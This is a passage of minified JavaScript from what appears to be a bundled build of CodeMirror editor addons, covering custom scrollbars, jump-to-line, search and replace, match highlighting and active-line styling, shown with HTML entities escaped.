c=a.wheelEventPixels(b)[&quot;horizontal&quot;==f.orientation?&quot;x&quot;:&quot;y&quot;],d=f.pos;f.moveTo(f.pos+c),f.pos!=d&amp;&amp;a.e_preventDefault(b)}this.orientation=c,this.scroll=d,this.screen=this.total=this.size=1,this.pos=0,this.node=document.createElement(&quot;div&quot;),this.node.className=b+&quot;-&quot;+c,this.inner=this.node.appendChild(document.createElement(&quot;div&quot;));var f=this;a.on(this.inner,&quot;mousedown&quot;,function(b){function c(){a.off(document,&quot;mousemove&quot;,d),a.off(document,&quot;mouseup&quot;,c)}function d(a){return 1!=a.which?c():void f.moveTo(h+(a[e]-g)*(f.total/f.size))}if(1==b.which){a.e_preventDefault(b);var e=&quot;horizontal&quot;==f.orientation?&quot;pageX&quot;:&quot;pageY&quot;,g=b[e],h=f.pos;a.on(document,&quot;mousemove&quot;,d),a.on(document,&quot;mouseup&quot;,c)}}),a.on(this.node,&quot;click&quot;,function(b){a.e_preventDefault(b);var c,d=f.inner.getBoundingClientRect();c=&quot;horizontal&quot;==f.orientation?b.clientX&lt;d.left?-1:b.clientX&gt;d.right?1:0:b.clientY&lt;d.top?-1:b.clientY&gt;d.bottom?1:0,f.moveTo(f.pos+c*f.screen)}),a.on(this.node,&quot;mousewheel&quot;,e),a.on(this.node,&quot;DOMMouseScroll&quot;,e)}function c(a,c,d){this.addClass=a,this.horiz=new b(a,&quot;horizontal&quot;,d),c(this.horiz.node),this.vert=new b(a,&quot;vertical&quot;,d),c(this.vert.node),this.width=null}b.prototype.setPos=function(a,b){return a&lt;0&amp;&amp;(a=0),a&gt;this.total-this.screen&amp;&amp;(a=this.total-this.screen),!(!b&amp;&amp;a==this.pos)&amp;&amp;(this.pos=a,this.inner.style[&quot;horizontal&quot;==this.orientation?&quot;left&quot;:&quot;top&quot;]=a*(this.size/this.total)+&quot;px&quot;,!0)},b.prototype.moveTo=function(a){this.setPos(a)&amp;&amp;this.scroll(a,this.orientation)};var d=10;b.prototype.update=function(a,b,c){var e=this.screen!=b||this.total!=a||this.size!=c;e&amp;&amp;(this.screen=b,this.total=a,this.size=c);var f=this.screen*(this.size/this.total);f&lt;d&amp;&amp;(this.size-=d-f,f=d),this.inner.style[&quot;horizontal&quot;==this.orientation?&quot;width&quot;:&quot;height&quot;]=f+&quot;px&quot;,this.setPos(this.pos,e)},c.prototype.update=function(a){if(null==this.width){var b=window.getComputedStyle?window.getComputedStyle(this.horiz.node):this.horiz.node.currentStyle;b&amp;&amp;(this.width=parseInt(b.height))}var c=this.width||0,d=a.scrollWidth&gt;a.clientWidth+1,e=a.scrollHeight&gt;a.clientHeight+1;return this.vert.node.style.display=e?&quot;block&quot;:&quot;none&quot;,this.horiz.node.style.display=d?&quot;block&quot;:&quot;none&quot;,e&amp;&amp;(this.vert.update(a.scrollHeight,a.clientHeight,a.viewHeight-(d?c:0)),this.vert.node.style.bottom=d?c+&quot;px&quot;:&quot;0&quot;),d&amp;&amp;(this.horiz.update(a.scrollWidth,a.clientWidth,a.viewWidth-(e?c:0)-a.barLeft),this.horiz.node.style.right=e?c+&quot;px&quot;:&quot;0&quot;,this.horiz.node.style.left=a.barLeft+&quot;px&quot;),{right:e?c:0,bottom:d?c:0}},c.prototype.setScrollTop=function(a){this.vert.setPos(a)},c.prototype.setScrollLeft=function(a){this.horiz.setPos(a)},c.prototype.clear=function(){var a=this.horiz.node.parentNode;a.removeChild(this.horiz.node),a.removeChild(this.vert.node)},a.scrollbarModel.simple=function(a,b){return new c(&quot;CodeMirror-simplescroll&quot;,a,b)},a.scrollbarModel.overlay=function(a,b){return new c(&quot;CodeMirror-overlayscroll&quot;,a,b)}})},{&quot;../../lib/codemirror&quot;:59}],45:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../dialog/dialog&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../dialog/dialog&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function c(a,b){var c=Number(b);return/^[-+]/.test(b)?a.getCursor().line+c:c-1}var d=&#039;Jump to line: &lt;input type=&quot;text&quot; style=&quot;width: 10em&quot; class=&quot;CodeMirror-search-field&quot;/&gt; &lt;span style=&quot;color: #888&quot; class=&quot;CodeMirror-search-hint&quot;&gt;(Use line:column or scroll% syntax)&lt;/span&gt;&#039;;a.commands.jumpToLine=function(a){var e=a.getCursor();b(a,d,&quot;Jump to line:&quot;,e.line+1+&quot;:&quot;+e.ch,function(b){if(b){var d;if(d=/^\s*([\+\-]?\d+)\s*\:\s*(\d+)\s*$/.exec(b))a.setCursor(c(a,d[1]),Number(d[2]));else if(d=/^\s*([\+\-]?\d+(\.\d+)?)\%\s*/.exec(b)){var f=Math.round(a.lineCount()*Number(d[1])/100);/^[-+]/.test(d[1])&amp;&amp;(f=e.line+f+1),a.setCursor(f-1,e.ch)}else(d=/^\s*\:?\s*([\+\-]?\d+)\s*/.exec(b))&amp;&amp;a.setCursor(c(a,d[1]),e.ch)}})},a.keyMap[&quot;default&quot;][&quot;Alt-G&quot;]=&quot;jumpToLine&quot;})},{&quot;../../lib/codemirror&quot;:59,&quot;../dialog/dialog&quot;:3}],46:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./matchesonscrollbar&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./matchesonscrollbar&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){this.options={};for(var b in l)this.options[b]=(a&amp;&amp;a.hasOwnProperty(b)?a:l)[b];this.overlay=this.timeout=null,this.matchesonscroll=null,this.active=!1}function c(a){var b=a.state.matchHighlighter;(b.active||a.hasFocus())&amp;&amp;e(a,b)}function d(a){var b=a.state.matchHighlighter;b.active||(b.active=!0,e(a,b))}function e(a,b){clearTimeout(b.timeout),b.timeout=setTimeout(function(){h(a)},b.options.delay)}function f(a,b,c,d){var e=a.state.matchHighlighter;if(a.addOverlay(e.overlay=k(b,c,d)),e.options.annotateScrollbar&amp;&amp;a.showMatchesOnScrollbar){var f=c?new RegExp(&quot;\\b&quot;+b+&quot;\\b&quot;):b;e.matchesonscroll=a.showMatchesOnScrollbar(f,!1,{className:&quot;CodeMirror-selection-highlight-scrollbar&quot;})}}function g(a){var b=a.state.matchHighlighter;b.overlay&amp;&amp;(a.removeOverlay(b.overlay),b.overlay=null,b.matchesonscroll&amp;&amp;(b.matchesonscroll.clear(),b.matchesonscroll=null))}function h(a){a.operation(function(){var b=a.state.matchHighlighter;if(g(a),!a.somethingSelected()&amp;&amp;b.options.showToken){for(var c=b.options.showToken===!0?/[\w$]/:b.options.showToken,d=a.getCursor(),e=a.getLine(d.line),h=d.ch,j=h;h&amp;&amp;c.test(e.charAt(h-1));)--h;for(;j&lt;e.length&amp;&amp;c.test(e.charAt(j));)++j;return void(h&lt;j&amp;&amp;f(a,e.slice(h,j),c,b.options.style))}var k=a.getCursor(&quot;from&quot;),l=a.getCursor(&quot;to&quot;);if(k.line==l.line&amp;&amp;(!b.options.wordsOnly||i(a,k,l))){var m=a.getRange(k,l);b.options.trim&amp;&amp;(m=m.replace(/^\s+|\s+$/g,&quot;&quot;)),m.length&gt;=b.options.minChars&amp;&amp;f(a,m,!1,b.options.style)}})}function i(a,b,c){var d=a.getRange(b,c);if(null!==d.match(/^\w+$/)){if(b.ch&gt;0){var e={line:b.line,ch:b.ch-1},f=a.getRange(e,b);if(null===f.match(/\W/))return!1}if(c.ch&lt;a.getLine(b.line).length){var e={line:c.line,ch:c.ch+1},f=a.getRange(c,e);if(null===f.match(/\W/))return!1}return!0}return!1}function j(a,b){return!(a.start&amp;&amp;b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&amp;&amp;b.test(a.string.charAt(a.pos)))}function k(a,b,c){return{token:function(d){return!d.match(a)||b&amp;&amp;!j(d,b)?(d.next(),void(d.skipTo(a.charAt(0))||d.skipToEnd())):c}}}var l={style:&quot;matchhighlight&quot;,minChars:2,delay:100,wordsOnly:!1,annotateScrollbar:!1,showToken:!1,trim:!0};a.defineOption(&quot;highlightSelectionMatches&quot;,!1,function(e,f,i){if(i&amp;&amp;i!=a.Init&amp;&amp;(g(e),clearTimeout(e.state.matchHighlighter.timeout),e.state.matchHighlighter=null,e.off(&quot;cursorActivity&quot;,c),e.off(&quot;focus&quot;,d)),f){var j=e.state.matchHighlighter=new b(f);e.hasFocus()?(j.active=!0,h(e)):e.on(&quot;focus&quot;,d),e.on(&quot;cursorActivity&quot;,c)}})})},{&quot;../../lib/codemirror&quot;:59,&quot;./matchesonscrollbar&quot;:47}],47:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./searchcursor&quot;),a(&quot;../scroll/annotatescrollbar&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./searchcursor&quot;,&quot;../scroll/annotatescrollbar&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c,d){this.cm=a,this.options=d;var e={listenForChanges:!1};for(var f in d)e[f]=d[f];e.className||(e.className=&quot;CodeMirror-search-match&quot;),this.annotation=a.annotateScrollbar(e),this.query=b,this.caseFold=c,this.gap={from:a.firstLine(),to:a.lastLine()+1},this.matches=[],this.update=null,this.findMatches(),this.annotation.update(this.matches);var g=this;a.on(&quot;change&quot;,this.changeHandler=function(a,b){g.onChange(b)})}function c(a,b,c){return a&lt;=b?a:Math.max(b,a+c)}a.defineExtension(&quot;showMatchesOnScrollbar&quot;,function(a,c,d){return&quot;string&quot;==typeof d&amp;&amp;(d={className:d}),d||(d={}),new b(this,a,c,d)});var d=1e3;b.prototype.findMatches=function(){if(this.gap){for(var b=0;b&lt;this.matches.length;b++){var c=this.matches[b];if(c.from.line&gt;=this.gap.to)break;c.to.line&gt;=this.gap.from&amp;&amp;this.matches.splice(b--,1)}for(var e=this.cm.getSearchCursor(this.query,a.Pos(this.gap.from,0),this.caseFold),f=this.options&amp;&amp;this.options.maxMatches||d;e.findNext();){var c={from:e.from(),to:e.to()};if(c.from.line&gt;=this.gap.to)break;if(this.matches.splice(b++,0,c),this.matches.length&gt;f)break}this.gap=null}},b.prototype.onChange=function(b){var d=b.from.line,e=a.changeEnd(b).line,f=e-b.to.line;if(this.gap?(this.gap.from=Math.min(c(this.gap.from,d,f),b.from.line),this.gap.to=Math.max(c(this.gap.to,d,f),b.from.line)):this.gap={from:b.from.line,to:e+1},f)for(var g=0;g&lt;this.matches.length;g++){var h=this.matches[g],i=c(h.from.line,d,f);i!=h.from.line&amp;&amp;(h.from=a.Pos(i,h.from.ch));var j=c(h.to.line,d,f);j!=h.to.line&amp;&amp;(h.to=a.Pos(j,h.to.ch))}clearTimeout(this.update);var k=this;this.update=setTimeout(function(){k.updateAfterChange()},250)},b.prototype.updateAfterChange=function(){this.findMatches(),this.annotation.update(this.matches)},b.prototype.clear=function(){this.cm.off(&quot;change&quot;,this.changeHandler),this.annotation.clear()}})},{&quot;../../lib/codemirror&quot;:59,&quot;../scroll/annotatescrollbar&quot;:42,&quot;./searchcursor&quot;:49}],48:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./searchcursor&quot;),a(&quot;../dialog/dialog&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./searchcursor&quot;,&quot;../dialog/dialog&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){return&quot;string&quot;==typeof a?a=new RegExp(a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,&quot;\\$&amp;&quot;),b?&quot;gi&quot;:&quot;g&quot;):a.global||(a=new RegExp(a.source,a.ignoreCase?&quot;gi&quot;:&quot;g&quot;)),{token:function(b){a.lastIndex=b.pos;var c=a.exec(b.string);return c&amp;&amp;c.index==b.pos?(b.pos+=c[0].length||1,&quot;searching&quot;):void(c?b.pos=c.index:b.skipToEnd())}}}function c(){this.posFrom=this.posTo=this.lastQuery=this.query=null,this.overlay=null}function d(a){return a.state.search||(a.state.search=new c)}function e(a){return&quot;string&quot;==typeof a&amp;&amp;a==a.toLowerCase()}function f(a,b,c){return a.getSearchCursor(b,c,{caseFold:e(b),multiline:!0})}function g(a,b,c,d,e){a.openDialog(b,d,{value:c,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){o(a)},onKeyDown:e})}function h(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function i(a,b,c,d){a.openConfirm?a.openConfirm(b,d):confirm(c)&amp;&amp;d[0]()}function j(a){return a.replace(/\\(.)/g,function(a,b){return&quot;n&quot;==b?&quot;\n&quot;:&quot;r&quot;==b?&quot;\r&quot;:b})}function k(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);if(b)try{a=new RegExp(b[1],b[2].indexOf(&quot;i&quot;)==-1?&quot;&quot;:&quot;i&quot;)}catch(c){}else a=j(a);return(&quot;string&quot;==typeof a?&quot;&quot;==a:a.test(&quot;&quot;))&amp;&amp;(a=/x^/),a}function l(a,c,d){c.queryText=d,c.query=k(d),a.removeOverlay(c.overlay,e(c.query)),c.overlay=b(c.query,e(c.query)),a.addOverlay(c.overlay),a.showMatchesOnScrollbar&amp;&amp;(c.annotate&amp;&amp;(c.annotate.clear(),c.annotate=null),c.annotate=a.showMatchesOnScrollbar(c.query,e(c.query)))}function m(b,c,e,f){var i=d(b);if(i.query)return n(b,c);var j=b.getSelection()||i.lastQuery;if(e&amp;&amp;b.openDialog){var k=null,m=function(c,d){a.e_stop(d),c&amp;&amp;(c!=i.queryText&amp;&amp;(l(b,i,c),i.posFrom=i.posTo=b.getCursor()),k&amp;&amp;(k.style.opacity=1),n(b,d.shiftKey,function(a,c){var d;c.line&lt;3&amp;&amp;document.querySelector&amp;&amp;(d=b.display.wrapper.querySelector(&quot;.CodeMirror-dialog&quot;))&amp;&amp;d.getBoundingClientRect().bottom-4&gt;b.cursorCoords(c,&quot;window&quot;).top&amp;&amp;((k=d).style.opacity=.4)}))};g(b,r,j,m,function(c,e){var f=a.keyName(c),g=b.getOption(&quot;extraKeys&quot;),h=g&amp;&amp;g[f]||a.keyMap[b.getOption(&quot;keyMap&quot;)][f];&quot;findNext&quot;==h||&quot;findPrev&quot;==h||&quot;findPersistentNext&quot;==h||&quot;findPersistentPrev&quot;==h?(a.e_stop(c),l(b,d(b),e),b.execCommand(h)):&quot;find&quot;!=h&amp;&amp;&quot;findPersistent&quot;!=h||(a.e_stop(c),m(e,c))}),f&amp;&amp;j&amp;&amp;(l(b,i,j),n(b,c))}else h(b,r,&quot;Search for:&quot;,j,function(a){a&amp;&amp;!i.query&amp;&amp;b.operation(function(){l(b,i,a),i.posFrom=i.posTo=b.getCursor(),n(b,c)})})}function n(b,c,e){b.operation(function(){var g=d(b),h=f(b,g.query,c?g.posFrom:g.posTo);(h.find(c)||(h=f(b,g.query,c?a.Pos(b.lastLine()):a.Pos(b.firstLine(),0)),h.find(c)))&amp;&amp;(b.setSelection(h.from(),h.to()),b.scrollIntoView({from:h.from(),to:h.to()},20),g.posFrom=h.from(),g.posTo=h.to(),e&amp;&amp;e(h.from(),h.to()))})}function o(a){a.operation(function(){var b=d(a);b.lastQuery=b.query,b.query&amp;&amp;(b.query=b.queryText=null,a.removeOverlay(b.overlay),b.annotate&amp;&amp;(b.annotate.clear(),b.annotate=null))})}function p(a,b,c){a.operation(function(){for(var d=f(a,b);d.findNext();)if(&quot;string&quot;!=typeof b){var e=a.getRange(d.from(),d.to()).match(b);d.replace(c.replace(/\$(\d)/g,function(a,b){return e[b]}))}else d.replace(c)})}function q(a,b){if(!a.getOption(&quot;readOnly&quot;)){var c=a.getSelection()||d(a).lastQuery,e=&#039;&lt;span class=&quot;CodeMirror-search-label&quot;&gt;&#039;+(b?&quot;Replace all:&quot;:&quot;Replace:&quot;)+&quot;&lt;/span&gt;&quot;;h(a,e+s,e,c,function(c){c&amp;&amp;(c=k(c),h(a,t,&quot;Replace with:&quot;,&quot;&quot;,function(d){if(d=j(d),b)p(a,c,d);else{o(a);var e=f(a,c,a.getCursor(&quot;from&quot;)),g=function(){var b,j=e.from();!(b=e.findNext())&amp;&amp;(e=f(a,c),!(b=e.findNext())||j&amp;&amp;e.from().line==j.line&amp;&amp;e.from().ch==j.ch)||(a.setSelection(e.from(),e.to()),a.scrollIntoView({from:e.from(),to:e.to()}),i(a,u,&quot;Replace?&quot;,[function(){h(b)},g,function(){p(a,c,d)}]))},h=function(a){e.replace(&quot;string&quot;==typeof c?d:d.replace(/\$(\d)/g,function(b,c){return a[c]})),g()};g()}}))})}}var r=&#039;&lt;span class=&quot;CodeMirror-search-label&quot;&gt;Search:&lt;/span&gt; &lt;input type=&quot;text&quot; style=&quot;width: 10em&quot; class=&quot;CodeMirror-search-field&quot;/&gt; &lt;span style=&quot;color: #888&quot; class=&quot;CodeMirror-search-hint&quot;&gt;(Use /re/ syntax for regexp search)&lt;/span&gt;&#039;,s=&#039; &lt;input type=&quot;text&quot; style=&quot;width: 10em&quot; class=&quot;CodeMirror-search-field&quot;/&gt; &lt;span style=&quot;color: #888&quot; class=&quot;CodeMirror-search-hint&quot;&gt;(Use /re/ syntax for regexp search)&lt;/span&gt;&#039;,t=&#039;&lt;span class=&quot;CodeMirror-search-label&quot;&gt;With:&lt;/span&gt; &lt;input type=&quot;text&quot; style=&quot;width: 10em&quot; class=&quot;CodeMirror-search-field&quot;/&gt;&#039;,u=&#039;&lt;span class=&quot;CodeMirror-search-label&quot;&gt;Replace?&lt;/span&gt; &lt;button&gt;Yes&lt;/button&gt; &lt;button&gt;No&lt;/button&gt; &lt;button&gt;All&lt;/button&gt; &lt;button&gt;Stop&lt;/button&gt;&#039;;a.commands.find=function(a){o(a),m(a)},a.commands.findPersistent=function(a){o(a),m(a,!1,!0)},a.commands.findPersistentNext=function(a){m(a,!1,!0,!0)},a.commands.findPersistentPrev=function(a){m(a,!0,!0,!0)},a.commands.findNext=m,a.commands.findPrev=function(a){m(a,!0)},a.commands.clearSearch=o,a.commands.replace=q,a.commands.replaceAll=function(a){q(a,!0)}})},{&quot;../../lib/codemirror&quot;:59,&quot;../dialog/dialog&quot;:3,&quot;./searchcursor&quot;:49}],49:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){var b=a.flags;return null!=b?b:(a.ignoreCase?&quot;i&quot;:&quot;&quot;)+(a.global?&quot;g&quot;:&quot;&quot;)+(a.multiline?&quot;m&quot;:&quot;&quot;)}function c(a){return a.global?a:new RegExp(a.source,b(a)+&quot;g&quot;)}function d(a){return/\\s|\\n|\n|\\W|\\D|\[\^/.test(a.source)}function e(a,b,d){b=c(b);for(var e=d.line,f=d.ch,g=a.lastLine();e&lt;=g;e++,f=0){b.lastIndex=f;var h=a.getLine(e),i=b.exec(h);if(i)return{from:p(e,i.index),to:p(e,i.index+i[0].length),match:i}}}function f(a,b,f){if(!d(b))return e(a,b,f);b=c(b);for(var g,h=1,i=f.line,j=a.lastLine();i&lt;=j;){for(var k=0;k&lt;h;k++){var l=a.getLine(i++);g=null==g?l:g+&quot;\n&quot;+l}h*=2,b.lastIndex=f.ch;var m=b.exec(g);if(m){var n=g.slice(0,m.index).split(&quot;\n&quot;),o=m[0].split(&quot;\n&quot;),q=f.line+n.length-1,r=n[n.length-1].length;return{from:p(q,r),to:p(q+o.length-1,1==o.length?r+o[0].length:o[o.length-1].length),match:m}}}}function g(a,b){for(var c,d=0;;){b.lastIndex=d;var e=b.exec(a);if(!e)return c;if(c=e,d=c.index+(c[0].length||1),d==a.length)return c}}function h(a,b,d){b=c(b);for(var e=d.line,f=d.ch,h=a.firstLine();e&gt;=h;e--,f=-1){var i=a.getLine(e);f&gt;-1&amp;&amp;(i=i.slice(0,f));var j=g(i,b);if(j)return{from:p(e,j.index),to:p(e,j.index+j[0].length),match:j}}}function i(a,b,d){b=c(b);for(var e,f=1,h=d.line,i=a.firstLine();h&gt;=i;){for(var j=0;j&lt;f;j++){var k=a.getLine(h--);e=null==e?k.slice(0,d.ch):k+&quot;\n&quot;+e}f*=2;var l=g(e,b);if(l){var m=e.slice(0,l.index).split(&quot;\n&quot;),n=l[0].split(&quot;\n&quot;),o=h+m.length,q=m[m.length-1].length;
return{from:p(o,q),to:p(o+n.length-1,1==n.length?q+n[0].length:n[n.length-1].length),match:l}}}}function j(a,b,c,d){if(a.length==b.length)return c;for(var e=0,f=c+Math.max(0,a.length-b.length);;){if(e==f)return e;var g=e+f&gt;&gt;1,h=d(a.slice(0,g)).length;if(h==c)return g;h&gt;c?f=g:e=g+1}}function k(a,b,c,d){if(!b.length)return null;var e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var g=c.line,h=c.ch,i=a.lastLine()+1-f.length;g&lt;=i;g++,h=0){var k=a.getLine(g).slice(h),l=e(k);if(1==f.length){var m=l.indexOf(f[0]);if(m==-1)continue a;var c=j(k,l,m,e)+h;return{from:p(g,j(k,l,m,e)+h),to:p(g,j(k,l,m+f[0].length,e)+h)}}var q=l.length-f[0].length;if(l.slice(q)==f[0]){for(var r=1;r&lt;f.length-1;r++)if(e(a.getLine(g+r))!=f[r])continue a;var s=a.getLine(g+f.length-1),t=e(s),u=f[f.length-1];if(s.slice(0,u.length)==u)return{from:p(g,j(k,l,q,e)+h),to:p(g+f.length-1,j(s,t,u.length,e))}}}}function l(a,b,c,d){if(!b.length)return null;var e=d?n:o,f=e(b).split(/\r|\n\r?/);a:for(var g=c.line,h=c.ch,i=a.firstLine()-1+f.length;g&gt;=i;g--,h=-1){var k=a.getLine(g);h&gt;-1&amp;&amp;(k=k.slice(0,h));var l=e(k);if(1==f.length){var m=l.lastIndexOf(f[0]);if(m==-1)continue a;return{from:p(g,j(k,l,m,e)),to:p(g,j(k,l,m+f[0].length,e))}}var q=f[f.length-1];if(l.slice(0,q.length)==q){for(var r=1,c=g-f.length+1;r&lt;f.length-1;r++)if(e(a.getLine(c+r))!=f[r])continue a;var s=a.getLine(g+1-f.length),t=e(s);if(t.slice(t.length-f[0].length)==f[0])return{from:p(g+1-f.length,j(s,t,s.length-f[0].length,e)),to:p(g,j(k,l,q.length,e))}}}}function m(a,b,d,g){this.atOccurrence=!1,this.doc=a,d=d?a.clipPos(d):p(0,0),this.pos={from:d,to:d};var j;&quot;object&quot;==typeof g?j=g.caseFold:(j=g,g=null),&quot;string&quot;==typeof b?(null==j&amp;&amp;(j=!1),this.matches=function(c,d){return(c?l:k)(a,b,d,j)}):(b=c(b),g&amp;&amp;g.multiline===!1?this.matches=function(c,d){return(c?h:e)(a,b,d)}:this.matches=function(c,d){return(c?i:f)(a,b,d)})}var n,o,p=a.Pos;String.prototype.normalize?(n=function(a){return a.normalize(&quot;NFD&quot;).toLowerCase()},o=function(a){return a.normalize(&quot;NFD&quot;)}):(n=function(a){return a.toLowerCase()},o=function(a){return a}),m.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(b){for(var c=this.matches(b,this.doc.clipPos(b?this.pos.from:this.pos.to));c&amp;&amp;0==a.cmpPos(c.from,c.to);)b?c.from.ch?c.from=p(c.from.line,c.from.ch-1):c=c.from.line==this.doc.firstLine()?null:this.matches(b,this.doc.clipPos(p(c.from.line-1))):c.to.ch&lt;this.doc.getLine(c.to.line).length?c.to=p(c.to.line,c.to.ch+1):c=c.to.line==this.doc.lastLine()?null:this.matches(b,p(c.to.line+1,0));if(c)return this.pos=c,this.atOccurrence=!0,this.pos.match||!0;var d=p(b?this.doc.firstLine():this.doc.lastLine()+1,0);return this.pos={from:d,to:d},this.atOccurrence=!1},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(b,c){if(this.atOccurrence){var d=a.splitLines(b);this.doc.replaceRange(d,this.pos.from,this.pos.to,c),this.pos.to=p(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension(&quot;getSearchCursor&quot;,function(a,b,c){return new m(this.doc,a,b,c)}),a.defineDocExtension(&quot;getSearchCursor&quot;,function(a,b,c){return new m(this,a,b,c)}),a.defineExtension(&quot;selectMatches&quot;,function(b,c){for(var d=[],e=this.getSearchCursor(b,this.getCursor(&quot;from&quot;),c);e.findNext()&amp;&amp;!(a.cmpPos(e.to(),this.getCursor(&quot;to&quot;))&gt;0);)d.push({anchor:e.from(),head:e.to()});d.length&amp;&amp;this.setSelections(d,0)})})},{&quot;../../lib/codemirror&quot;:59}],50:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){for(var b=0;b&lt;a.state.activeLines.length;b++)a.removeLineClass(a.state.activeLines[b],&quot;wrap&quot;,f),a.removeLineClass(a.state.activeLines[b],&quot;background&quot;,g),a.removeLineClass(a.state.activeLines[b],&quot;gutter&quot;,h)}function c(a,b){if(a.length!=b.length)return!1;for(var c=0;c&lt;a.length;c++)if(a[c]!=b[c])return!1;return!0}function d(a,d){for(var e=[],i=0;i&lt;d.length;i++){var j=d[i],k=a.getOption(&quot;styleActiveLine&quot;);if(&quot;object&quot;==typeof k&amp;&amp;k.nonEmpty?j.anchor.line==j.head.line:j.empty()){var l=a.getLineHandleVisualStart(j.head.line);e[e.length-1]!=l&amp;&amp;e.push(l)}}c(a.state.activeLines,e)||a.operation(function(){b(a);for(var c=0;c&lt;e.length;c++)a.addLineClass(e[c],&quot;wrap&quot;,f),a.addLineClass(e[c],&quot;background&quot;,g),a.addLineClass(e[c],&quot;gutter&quot;,h);a.state.activeLines=e})}function e(a,b){d(a,b.ranges)}var f=&quot;CodeMirror-activeline&quot;,g=&quot;CodeMirror-activeline-background&quot;,h=&quot;CodeMirror-activeline-gutter&quot;;a.defineOption(&quot;styleActiveLine&quot;,!1,function(c,f,g){var h=g!=a.Init&amp;&amp;g;f!=h&amp;&amp;(h&amp;&amp;(c.off(&quot;beforeSelectionChange&quot;,e),b(c),delete c.state.activeLines),f&amp;&amp;(c.state.activeLines=[],d(c,c.listSelections()),c.on(&quot;beforeSelectionChange&quot;,e)))})})},{&quot;../../lib/codemirror&quot;:59}],51:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a){a.state.markedSelection&amp;&amp;a.operation(function(){g(a)})}function c(a){a.state.markedSelection&amp;&amp;a.state.markedSelection.length&amp;&amp;a.operation(function(){e(a)})}function d(a,b,c,d){if(0!=j(b,c))for(var e=a.state.markedSelection,f=a.state.markedSelectionStyle,g=b.line;;){var k=g==b.line?b:i(g,0),l=g+h,m=l&gt;=c.line,n=m?c:i(l,0),o=a.markText(k,n,{className:f});if(null==d?e.push(o):e.splice(d++,0,o),m)break;g=l}}function e(a){for(var b=a.state.markedSelection,c=0;c&lt;b.length;++c)b[c].clear();b.length=0}function f(a){e(a);for(var b=a.listSelections(),c=0;c&lt;b.length;c++)d(a,b[c].from(),b[c].to())}function g(a){if(!a.somethingSelected())return e(a);if(a.listSelections().length&gt;1)return f(a);var b=a.getCursor(&quot;start&quot;),c=a.getCursor(&quot;end&quot;),g=a.state.markedSelection;if(!g.length)return d(a,b,c);var i=g[0].find(),k=g[g.length-1].find();if(!i||!k||c.line-b.line&lt;=h||j(b,k.to)&gt;=0||j(c,i.from)&lt;=0)return f(a);for(;j(b,i.from)&gt;0;)g.shift().clear(),i=g[0].find();for(j(b,i.from)&lt;0&amp;&amp;(i.to.line-b.line&lt;h?(g.shift().clear(),d(a,b,i.to,0)):d(a,b,i.from,0));j(c,k.to)&lt;0;)g.pop().clear(),k=g[g.length-1].find();j(c,k.to)&gt;0&amp;&amp;(c.line-k.from.line&lt;h?(g.pop().clear(),d(a,k.from,c)):d(a,k.to,c))}a.defineOption(&quot;styleSelectedText&quot;,!1,function(d,g,h){var i=h&amp;&amp;h!=a.Init;g&amp;&amp;!i?(d.state.markedSelection=[],d.state.markedSelectionStyle=&quot;string&quot;==typeof g?g:&quot;CodeMirror-selectedtext&quot;,f(d),d.on(&quot;cursorActivity&quot;,b),d.on(&quot;change&quot;,c)):!g&amp;&amp;i&amp;&amp;(d.off(&quot;cursorActivity&quot;,b),d.off(&quot;change&quot;,c),e(d),d.state.markedSelection=d.state.markedSelectionStyle=null)});var h=8,i=a.Pos,j=a.cmpPos})},{&quot;../../lib/codemirror&quot;:59}],52:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof 